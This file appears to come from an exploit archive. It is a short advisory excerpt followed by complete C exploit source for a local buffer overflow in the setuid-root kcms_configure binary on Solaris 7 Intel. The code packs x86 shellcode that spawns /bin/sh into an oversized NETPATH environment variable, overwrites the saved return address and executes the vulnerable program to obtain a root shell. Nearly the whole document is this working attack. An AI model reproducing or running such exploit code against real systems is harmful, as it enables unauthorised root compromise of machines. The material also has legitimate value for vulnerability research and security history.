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69 lines
No EOL
2.3 KiB
C
69 lines
No EOL
2.3 KiB
C
/*
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source: https://www.securityfocus.com/bid/831/info
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The binary kcms_configure, part of the Kodak Color Management System package shipped with OpenWindows (and ultimately, Solaris) is vulnerable to a local buffer overflow. The buffer which the contents of the environment variable NETPATH are copied into has a predetermined length, which if exceeded can corrupt the stack and cause aribtrary code hidden inside of the oversized buffer to be executed. kcms_configure is installed setuid root and exploitation will result in a local root compromise.
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*/
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------ ex_kcms_configure86.c
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/*=============================================================================
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kcms_configure Exploit for Solaris7 Intel Edition
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The Shadow Penguin Security (http://shadowpenguin.backsection.net)
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Written by UNYUN (shadowpenguin@backsection.net)
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=============================================================================
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*/
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#define ENV "NETPATH="
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#define MAXBUF 3000
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#define RETADR 2088
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#define RETOFS 0xad0
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#define FAKEADR 2076
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#define NOP 0x90
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unsigned long get_sp(void)
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{
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__asm__(" movl %esp,%eax ");
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}
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char exploit_code[] =
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"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
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"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
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"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
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"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
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"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
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"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
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"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
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"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
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"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
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"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
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main()
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{
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char buf[MAXBUF];
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unsigned int i,ip,sp;
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putenv("LANG=");
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sp=get_sp();
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printf("ESP=0x%x\n",sp);
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memset(buf,NOP,MAXBUF);
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ip=sp;
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buf[FAKEADR ]=ip&0xff;
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buf[FAKEADR+1]=(ip>>8)&0xff;
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buf[FAKEADR+2]=(ip>>16)&0xff;
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buf[FAKEADR+3]=(ip>>24)&0xff;
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ip=sp-RETOFS;
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buf[RETADR ]=ip&0xff;
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buf[RETADR+1]=(ip>>8)&0xff;
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buf[RETADR+2]=(ip>>16)&0xff;
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buf[RETADR+3]=(ip>>24)&0xff;
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strncpy(buf+2500,exploit_code,strlen(exploit_code));
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strncpy(buf,ENV,strlen(ENV));
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buf[MAXBUF-1]=0;
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putenv(buf);
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execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0);
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} |